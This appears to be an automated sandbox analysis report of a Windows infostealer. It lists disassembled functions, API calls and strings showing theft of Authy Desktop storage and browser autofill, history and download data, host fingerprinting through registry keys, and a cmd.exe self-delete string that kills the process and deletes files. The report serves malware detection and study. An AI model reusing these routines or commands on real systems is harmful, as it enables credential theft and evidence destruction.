Uniqueness

Uniqueness Score: -1.00%

Function 0041442A, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 240fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00414449
__wgetenv.LIBCMT ref: 00414455

Part of subcall function 00404C99: __EH_prolog3.LIBCMT ref: 00404CA0

Part of subcall function 004625F7: __EH_prolog3_GS.LIBCMT ref: 00462601
Part of subcall function 004625F7: FindFirstFileW.KERNEL32(00000000,?,?,?,00000298,0040CF5D,?), ref: 0046263A
Part of subcall function 004625F7: FindNextFileW.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 004626CB

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?), ref: 00414501
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000001,00000000,?,?,?), ref: 00414538

Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000011,00000000,00000000,000003E8,?,00000000,?,?,?,0040DF45,?,?,?), ref: 00462276
Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,0040DF45,?,?,?,?), ref: 004622A5

CopyFileW.KERNEL32(00000000,?,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00414667

Strings

\Authy Desktop\Local Storage\, xrefs: 0041460D
files\Soft\Authy, xrefs: 0041454D
\Authy Desktop\Local Storage\*.localstorage, xrefs: 00414487
\files\Soft, xrefs: 004144DC
\files\Soft\Authy, xrefs: 00414517
APPDATA, xrefs: 0041444E

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$ByteCharCreateDirectoryFindH_prolog3MultiWide$CopyFirstH_prolog3_Next__wgetenv
String ID: APPDATA$\Authy Desktop\Local Storage\$\Authy Desktop\Local Storage\*.localstorage$\files\Soft$\files\Soft\Authy$files\Soft\Authy
API String ID: 2019322786-2614104896
Opcode ID: c84ff705d4cc009a16346d4ea3c061a2c9995160962c8d340f0355ee02656293
Instruction ID: b37ebf5b85b8fef535ef3d422051867b4bb99f4d020c96e9198faaebce568709
Opcode Fuzzy Hash: c84ff705d4cc009a16346d4ea3c061a2c9995160962c8d340f0355ee02656293
Instruction Fuzzy Hash: 999150B1800148EFDB25EFA4CD85EEE777CAF55308F00416EB809AB181EA785B04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED4B, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 112filestringCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 0040ED8B
lstrcatA.KERNEL32(?,\temp), ref: 0040ED9D
CopyFileA.KERNEL32 ref: 0040EDAD
_memset.LIBCMT ref: 0040EDBB
_sprintf.LIBCMT ref: 0040EDCD
DeleteFileA.KERNEL32(?), ref: 0040EE88

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

_fprintf.LIBCMT ref: 0040EE48
_fprintf.LIBCMT ref: 0040EE53

Strings

\temp, xrefs: 0040ED91
%s%s, xrefs: 0040EE42
Autofill\%s_%s.txt, xrefs: 0040EDC7

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File_fprintf$CopyCurrentDeleteDirectory__fsopen_memset_sprintflstrcat
String ID: %s%s$Autofill\%s_%s.txt$\temp
API String ID: 2288810340-2986410175
Opcode ID: adcc6ed10b163b898c6100ad2b105619f1f7037777f09eb332604764768072c5
Instruction ID: cbeb1ee45e60e281374ad0e2034c1c800f98a584e3b24c66d511856a5f9fae5f
Opcode Fuzzy Hash: adcc6ed10b163b898c6100ad2b105619f1f7037777f09eb332604764768072c5
Instruction Fuzzy Hash: 21319372904108AEEF30AFB2DC45EDF77ACAF05704F20052FF504B3152EA395A558B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEA6, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 106filestringCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 0040EEE6
lstrcatA.KERNEL32(?,\temp), ref: 0040EEF8
CopyFileA.KERNEL32 ref: 0040EF08
_memset.LIBCMT ref: 0040EF16
_sprintf.LIBCMT ref: 0040EF28
DeleteFileA.KERNEL32(?), ref: 0040EFD2

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

_fprintf.LIBCMT ref: 0040EF9D

Strings

%s, xrefs: 0040EF97
\temp, xrefs: 0040EEEC
SELECT url FROM urls, xrefs: 0040EF4F
History\%s_%s.txt, xrefs: 0040EF22

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCurrentDeleteDirectory__fsopen_fprintf_memset_sprintflstrcat
String ID: %s$History\%s_%s.txt$SELECT url FROM urls$\temp
API String ID: 440339207-2199967400
Opcode ID: 859e09215009610e198642e590b9aa17e9bd0646ac73971eba97985cbb47cf90
Instruction ID: c4c523648f7c9ddd10085a75586f10a9fc81ac4fe7dcbaa1423c284c77170ff7
Opcode Fuzzy Hash: 859e09215009610e198642e590b9aa17e9bd0646ac73971eba97985cbb47cf90
Instruction Fuzzy Hash: EB318372944108AEEB30AFB2DC45EDE776CEF05714F20042FF505F2152EA399A558B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EFF0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 109filestringCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 0040F030
lstrcatA.KERNEL32(?,\temp), ref: 0040F042
CopyFileA.KERNEL32 ref: 0040F052
_memset.LIBCMT ref: 0040F060
_sprintf.LIBCMT ref: 0040F072
DeleteFileA.KERNEL32(?), ref: 0040F122

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

_fprintf.LIBCMT ref: 0040F0ED

Strings

\temp, xrefs: 0040F036
%s%s, xrefs: 0040F0E7
Downloads\%s_%s.txt, xrefs: 0040F06C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCurrentDeleteDirectory__fsopen_fprintf_memset_sprintflstrcat
String ID: %s%s$Downloads\%s_%s.txt$\temp
API String ID: 440339207-2902098628
Opcode ID: 575470fcddeb759c1383798cef9d139b450044048b4322df54ce0c46a927228a
Instruction ID: 63e679a688cb4e1223aa7c6d4bcbf1b9909be065fca5b70f9b9156e32280bbec
Opcode Fuzzy Hash: 575470fcddeb759c1383798cef9d139b450044048b4322df54ce0c46a927228a
Instruction Fuzzy Hash: 05316272944208AEEF30ABB1DC45EDF77ACAF05714F20053FF509B7152EA3999448B69

Uniqueness

Uniqueness Score: -1.00%

Function 004047F3, Relevance: 16.7, APIs: 11, Instructions: 152stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004047FD

Part of subcall function 0040D995: _memset.LIBCMT ref: 0040D9A3
Part of subcall function 0040D995: _strcpy_s.LIBCMT ref: 0040D9B9
Part of subcall function 0040D995: _memset.LIBCMT ref: 0040D9D4

_memset.LIBCMT ref: 00404831
_memset.LIBCMT ref: 0040483F
_strtok.LIBCMT ref: 00404865
lstrcatA.KERNEL32(?,?,?,004866C4,0000FDE9,00000000,00000000,00000000,00000394), ref: 00404889
lstrcatA.KERNEL32(?,00000000,?,00000010,?,?,004866C4,0000FDE9,00000000,00000000,00000000,00000394), ref: 004048AF
lstrcatA.KERNEL32(?,00000001,00000000,?,?,004866C4,0000FDE9,00000000,00000000,00000000,00000394), ref: 004048CC
lstrcatA.KERNEL32(?,?,00000000,?,?,004866C4,0000FDE9,00000000,00000000,00000000,00000394), ref: 00404902
lstrcatA.KERNEL32(?,?,?,004866C4,0000FDE9,00000000,00000000,00000000,00000394), ref: 00404911
ShellExecuteA.SHELL32(00000000,00000000,?,004866C4,00000000,00000000), ref: 004049C1

Part of subcall function 0040DA1F: _memset.LIBCMT ref: 0040DA29

_strtok.LIBCMT ref: 004049DA

Part of subcall function 004688ED: __getptd.LIBCMT ref: 0046890B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memsetlstrcat$_strtok$ExecuteH_prolog3_Shell__getptd_strcpy_s
String ID:
API String ID: 230071149-0
Opcode ID: d5ad8f808d0b2734b57b4ef2c43003ee14d232df8916db86ffe9fd693c606024
Instruction ID: 484bb8ec39e8ebd3d6e6f9a4084da350e7f74f481ce95393aa71437f7627f88b
Opcode Fuzzy Hash: d5ad8f808d0b2734b57b4ef2c43003ee14d232df8916db86ffe9fd693c606024
Instruction Fuzzy Hash: B6515EB180015CAEDB25EB61CD89FDE777CEB54308F0005EAA109A3191EB786F88CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDDE, Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 239networkfileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040DDFD
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 0040DE37
InternetReadFile.WININET(00000010,?,000003E8,?), ref: 0040DE51
_memmove.LIBCMT ref: 0040DE86
_memset.LIBCMT ref: 0040DEB7
HttpQueryInfoA.WININET(00000010,0000001D,?,?,00000000), ref: 0040DECD
_memcpy_s.LIBCMT ref: 0040DFFC
_memcpy_s.LIBCMT ref: 0040E024

Strings

text, xrefs: 0040DF5A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileInternet_memcpy_s$H_prolog3HttpInfoPointerQueryRead_memmove_memset
String ID: text
API String ID: 1895411410-999008199
Opcode ID: 29559fd7c0f8bfea2aed922a597313acc32ca1d562e348907443a2dd625172d6
Instruction ID: 623bac6b6825a502e6a2054dcebc08deb5fb4c8a3fc0d349ec666da5264729df
Opcode Fuzzy Hash: 29559fd7c0f8bfea2aed922a597313acc32ca1d562e348907443a2dd625172d6
Instruction Fuzzy Hash: 969157B1900209AFCB10DFA9C9859AFBBF9FF48304F54452EE506A7651E738A940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004640D3, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 00464108
GetFileSize.KERNEL32(?,00000000), ref: 00464182
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0046419E
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 004641B2
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 004641BB
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 004641CB
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004641E9
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 004641F9

Strings

, xrefs: 00464155

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: ddd5431c41b4e482e9bac3aaeed306e113440fb9dfcae7e9962527fe5a873ffc
Instruction ID: 8a129dbfa4638869f91b893caa8369f02664d8e473c2117139340baf75a24eea
Opcode Fuzzy Hash: ddd5431c41b4e482e9bac3aaeed306e113440fb9dfcae7e9962527fe5a873ffc
Instruction Fuzzy Hash: 2D6105B1D00218AFDF24DFD5DC85AEEBBB8EB89344F14442AE511E7260E7389D418F56

Uniqueness

Uniqueness Score: -1.00%

Function 0045F24F, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0045F268
GetModuleHandleA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,00000010), ref: 0045F29B
GetProcAddress.KERNEL32(00000000), ref: 0045F2A2
_memset.LIBCMT ref: 0045F2B6
GlobalMemoryStatusEx.KERNEL32(00000000), ref: 0045F2C9

Part of subcall function 004621BC: __EH_prolog3_GS.LIBCMT ref: 004621C6

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

GlobalMemoryStatus.KERNEL32 ref: 0045F342

Strings

kernel32.dll, xrefs: 0045F290
GlobalMemoryStatusEx, xrefs: 0045F28A
MB, xrefs: 0045F2EA, 0045F35B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GlobalMemoryStatus_memmove$AddressH_prolog3H_prolog3_HandleModuleProc_memset
String ID: MB$GlobalMemoryStatusEx$kernel32.dll
API String ID: 59999723-2756951423
Opcode ID: 4b4a3dec8c0a31a5fa80798c98f0019459b135bfc2ad2fceee3c3a54d872c69d
Instruction ID: 8ce22812fdd117855182cbd810cab7dc4658fcb0650cff4aa089ca83ac53d02f
Opcode Fuzzy Hash: 4b4a3dec8c0a31a5fa80798c98f0019459b135bfc2ad2fceee3c3a54d872c69d
Instruction Fuzzy Hash: 224176B1900249ABDB01EF95CD45BDE7BF8AF54704F10442FF905E3281EB789604C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00461F90, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00461F9A
GetCurrentProcessId.KERNEL32(000000CC,0040C927), ref: 00461FA7

Part of subcall function 004616AB: OpenProcess.KERNEL32(00000410,00000000,?), ref: 004616D6
Part of subcall function 004616AB: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 004616F0
Part of subcall function 004616AB: CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104), ref: 004616F6

GetCurrentProcessId.KERNEL32 ref: 00461FC3

Part of subcall function 00461EAE: __EH_prolog3_catch.LIBCMT ref: 00461ECD
Part of subcall function 00461EAE: _memset.LIBCMT ref: 00461EFF
Part of subcall function 00461EAE: OpenProcess.KERNEL32(00000410,00000000,?,?,?,0000000C), ref: 00461F11
Part of subcall function 00461EAE: EnumProcessModules.PSAPI(00000000,?,00000004,00000008,?,?,0000000C), ref: 00461F28
Part of subcall function 00461EAE: GetModuleBaseNameA.PSAPI(00000000,?,00000000,00000104,00000000,?,00000004,00000008,?,?,0000000C), ref: 00461F3E
Part of subcall function 00461EAE: CloseHandle.KERNEL32(00000000,?,?,0000000C), ref: 00461F44

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,?,00000000,00000000), ref: 00462097

Strings

/f & timeout /t 6 & del /f /q ", xrefs: 00461FE9
/c taskkill /im , xrefs: 00461FDA
" & del C:\ProgramData\*.dll, xrefs: 00462010
& exit, xrefs: 00462026
C:\Windows\System32\cmd.exe, xrefs: 00462090

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Process$CloseCurrentHandleModuleNameOpen$BaseEnumExecuteFileH_prolog3_H_prolog3_catchModulesShell_memmove_memset
String ID: & exit$ /f & timeout /t 6 & del /f /q "$" & del C:\ProgramData\*.dll$/c taskkill /im $C:\Windows\System32\cmd.exe
API String ID: 1929281448-455057220
Opcode ID: 2d536ac1764c597662bc426fe5b7089d1d47ffb1e56424c1ce0d6a0e6ebcf09b
Instruction ID: a45b90e52ce3f7aac79a59e641f5e3feb6d633a7628854ba5ce20b82e25033e5
Opcode Fuzzy Hash: 2d536ac1764c597662bc426fe5b7089d1d47ffb1e56424c1ce0d6a0e6ebcf09b
Instruction Fuzzy Hash: 673130B1801118BADB11EBE9CD85ECF7E7C9F15304F10456BF10AB2092EA785A44DB79

Uniqueness

Uniqueness Score: -1.00%

Function 0045FABF, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 307processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0045FAC9

Part of subcall function 00411D0F: __EH_prolog3.LIBCMT ref: 00411D16

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Part of subcall function 004033B8: _memmove.LIBCMT ref: 00403409

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0045FB61
Process32First.KERNEL32(00000000,00000128), ref: 0045FB74
Process32Next.KERNEL32 ref: 0045FB8E

Part of subcall function 004112B7: __EH_prolog3_catch.LIBCMT ref: 004112BE

Part of subcall function 0045E95C: __EH_prolog3_catch.LIBCMT ref: 0045E963

CloseHandle.KERNEL32(?,00000000,00000128,00000002,00000000,----------,0000000A,00000001,00000000,?,00000003,00000001,004866C4,00000000,00000294,0040C27B), ref: 0045FE73

Strings

---------- , xrefs: 0045FBFF, 0045FCEF
----------, xrefs: 0045FB2A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catchProcess32_memmove$CloseCreateFirstH_prolog3H_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: ----------$----------
API String ID: 4185073159-2385812570
Opcode ID: d882083405ff142ba3a75d8b9e1bc03768b491665361a3ddd9b2f5e60fe1fd0f
Instruction ID: 8ce91db7c522f480c17d37f0fbaebe33bcded60df065d12fb7c244eaa261c5aa
Opcode Fuzzy Hash: d882083405ff142ba3a75d8b9e1bc03768b491665361a3ddd9b2f5e60fe1fd0f
Instruction Fuzzy Hash: 30B182B1804258AEDB15EB55DC45FEEBB7CAF11304F1401AFE505B3182EA781F88CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00461EAE, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00461ECD
_memset.LIBCMT ref: 00461EFF
OpenProcess.KERNEL32(00000410,00000000,?,?,?,0000000C), ref: 00461F11
EnumProcessModules.PSAPI(00000000,?,00000004,00000008,?,?,0000000C), ref: 00461F28
GetModuleBaseNameA.PSAPI(00000000,?,00000000,00000104,00000000,?,00000004,00000008,?,?,0000000C), ref: 00461F3E
CloseHandle.KERNEL32(00000000,?,?,0000000C), ref: 00461F44

Strings

<unknown>, xrefs: 00461EE6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Process$BaseCloseEnumH_prolog3_catchHandleModuleModulesNameOpen_memset
String ID: <unknown>
API String ID: 3374446145-1574992787
Opcode ID: 244658bc952be1cffe53cceae16e59f270a091707551c94139565e2f8c785d96
Instruction ID: 70ade7331c1fe1be9da5477fc18033a8c7b44bd496c883d75dca9a7224712ffb
Opcode Fuzzy Hash: 244658bc952be1cffe53cceae16e59f270a091707551c94139565e2f8c785d96
Instruction Fuzzy Hash: AC218771504249AFDB15EF54DD41BEE77E4FF08704F00403AEA04EB281E7749B088BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0045EAEC, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045EB2E
RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 0045EB4A
RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,?,?), ref: 0045EB69
RegCloseKey.ADVAPI32(?), ref: 0045EB72
CharToOemA.USER32(?,?), ref: 0045EB83

Strings

ProcessorNameString, xrefs: 0045EB61
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0045EB40

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString
API String ID: 2235053359-2804670039
Opcode ID: 59a469b855a62e4a5ecf8f7ef6647ec79b3c9db86dd270e6ff7ec8897400576d
Instruction ID: e5e815bb453eb4dbf6689d64094a2c7938900b3b26400d3e7cd6629269ae5e11
Opcode Fuzzy Hash: 59a469b855a62e4a5ecf8f7ef6647ec79b3c9db86dd270e6ff7ec8897400576d
Instruction Fuzzy Hash: 42216DB190424CAFDB30DFA4DC84AEE7BBCEF15348F10447AE919D7152EA345A088B65

Uniqueness

Uniqueness Score: -1.00%

Function 0045EC34, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045EC76
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?), ref: 0045EC92
RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,?,?), ref: 0045ECB1
RegCloseKey.ADVAPI32(?), ref: 0045ECBA
CharToOemA.USER32(?,?), ref: 0045ECCB

Strings

ProductName, xrefs: 0045ECA9
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0045EC88

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 2235053359-1787575317
Opcode ID: fb38d4f1524cbc1eef628860479bf1518489fabc99d4b65495c1e7c7711b9ca3
Instruction ID: 8c379a4b8820a6916782180dcbdc89a7d23e9e80b5a7728a3b93e77e92fed359
Opcode Fuzzy Hash: fb38d4f1524cbc1eef628860479bf1518489fabc99d4b65495c1e7c7711b9ca3
Instruction Fuzzy Hash: 32216DB190424DAFDB30EFA4DC84AEE7BBCFF14348F10447AE919D7152EA745A088B65

Uniqueness

Uniqueness Score: -1.00%

Function 0045EDB3, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045EDF5
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,00000000), ref: 0045EE11
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,?,?,?,00000000), ref: 0045EE30
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0045EE39
CharToOemA.USER32(?,?), ref: 0045EE4A

Strings

MachineGuid, xrefs: 0045EE28
SOFTWARE\Microsoft\Cryptography, xrefs: 0045EE07

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: cc653df27aaf93323914dfb0520260598cb783b32ea9075a7831db828e9480f3
Instruction ID: 0909bb7c1e98fc66e2fd51660931112c9996f97626bdb88c53b1cc856b6dd3fd
Opcode Fuzzy Hash: cc653df27aaf93323914dfb0520260598cb783b32ea9075a7831db828e9480f3
Instruction Fuzzy Hash: 83117FB150024DAFEB30EFA4DC85BEE7BACFB14348F10407AE919D7152EA745A088F65

Uniqueness

Uniqueness Score: -1.00%

Function 00432148, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 208fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00432191
CreateFileW.KERNEL32(?,?,00000003,00000000,?,?,00000000), ref: 00432278

Strings

ddF, xrefs: 00432278
winOpen, xrefs: 004322BA
psow, xrefs: 00432368
cF, xrefs: 00432243

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile_memset
String ID: cF$ddF$psow$winOpen
API String ID: 3830271748-1418711217
Opcode ID: d213770175949e555960944134189dcef17fad84c3b032168ec75193dd8a712a
Instruction ID: 3535a192b4445eba7f2e29df45c10ff6563ae44010a3d6673375a26cd596bd34
Opcode Fuzzy Hash: d213770175949e555960944134189dcef17fad84c3b032168ec75193dd8a712a
Instruction Fuzzy Hash: 01717E71E00219AFDF009FA5DE42ADEBBB0FB08714F14456BE914B7290D3B89E50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413A4A, Relevance: 10.6, APIs: 7, Instructions: 137stringCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00413A69
_memset.LIBCMT ref: 00413A93

Part of subcall function 004602E7: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,0040FCF1,?,0000001A,?,?,?,?,0049B0CC,00000000), ref: 00460301

lstrcatA.KERNEL32(?,?,?,0000001C,?,?,00000014), ref: 00413AB4
_memset.LIBCMT ref: 00413ABF
lstrcatA.KERNEL32(?,?,?,?,?,?,?,00000014), ref: 00413AD2
lstrcatA.KERNEL32(?,004867F4,?,?,?,?,?,00000014), ref: 00413AE0
lstrcatA.KERNEL32(?,?,?,?,?,?,00000014), ref: 00413AEF

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$_memset$FolderH_prolog3Path
String ID:
API String ID: 1637166636-0
Opcode ID: 1db8fc0d0761bfea98cbaff21caedd78698e921d31283b58dc0fde23c79e8200
Instruction ID: a314fbcfd3a24dd60db52ac6297fed33d3015c10456b263d896aaa7e8f6e0ff5
Opcode Fuzzy Hash: 1db8fc0d0761bfea98cbaff21caedd78698e921d31283b58dc0fde23c79e8200
Instruction Fuzzy Hash: 8251217280414DABCB20EFA5DC85EDF77BCEB04304F00416BF905A7141EA389748CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042A30C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 111fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0042A34E
_memmove.LIBCMT ref: 0042A36B
ReadFile.KERNEL32(?,?,?,?,?), ref: 0042A3B8
_memset.LIBCMT ref: 0042A414

Strings

winRead, xrefs: 0042A3EC
,cF, xrefs: 0042A3B8

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$FileRead_memset
String ID: ,cF$winRead
API String ID: 1942371898-879906288
Opcode ID: 39824cf0660f830ba8e04b238d3064b98fac8a0a859c732e22709e7ead5e247d
Instruction ID: 5b9fb1e42073cd2a928d124bcd6f12092a543c3ca2153f5e9d5f560ccb1dd320
Opcode Fuzzy Hash: 39824cf0660f830ba8e04b238d3064b98fac8a0a859c732e22709e7ead5e247d
Instruction Fuzzy Hash: F3315972A002199BCF00DE68ED8699E3BA5EF44358B54402AFD01DB241D774EE608B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00467CC1, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00467CDB

Part of subcall function 0046949E: __FF_MSGBANNER.LIBCMT ref: 004694B7
Part of subcall function 0046949E: __NMSG_WRITE.LIBCMT ref: 004694BE
Part of subcall function 0046949E: RtlAllocateHeap.NTDLL(00000000,00000001,?,00000001,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 004694E3

std::exception::exception.LIBCMT ref: 00467D10
std::exception::exception.LIBCMT ref: 00467D2A
__CxxThrowException@8.LIBCMT ref: 00467D3B

Strings

8-@, xrefs: 00467CF3
bad allocation, xrefs: 00467D09

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: 8-@$bad allocation
API String ID: 615853336-3215286821
Opcode ID: 48fa6f9bf025f085f717d2a59c28ab419e2651d33dda2efd0479edcfb90e60d6
Instruction ID: e5e35db4f3df075466cb9016febb363e0c7d67cddac03f6e487767e48cf787d6
Opcode Fuzzy Hash: 48fa6f9bf025f085f717d2a59c28ab419e2651d33dda2efd0479edcfb90e60d6
Instruction Fuzzy Hash: 5AF0F471508309B6DF00EB56DD42AAE3BA8BB0031CF10543FF500A66A2FBBC9A01874E

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAD7, Relevance: 9.1, APIs: 6, Instructions: 62filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040EAEF
GetFileSizeEx.KERNEL32(00000000,?), ref: 0040EB06
LocalAlloc.KERNEL32(00000040,?), ref: 0040EB22
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040EB3C
LocalFree.KERNEL32(?), ref: 0040EB52
FindCloseChangeNotification.KERNEL32(?), ref: 0040EB5D

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: c2324f482fb4666a30dba985fd5f93fc157b250215621647210ee42081955b2d
Instruction ID: 034b4776d24a0182819bf915acfe8b05d1ccc97a12e461bbb3cfa376d772529a
Opcode Fuzzy Hash: c2324f482fb4666a30dba985fd5f93fc157b250215621647210ee42081955b2d
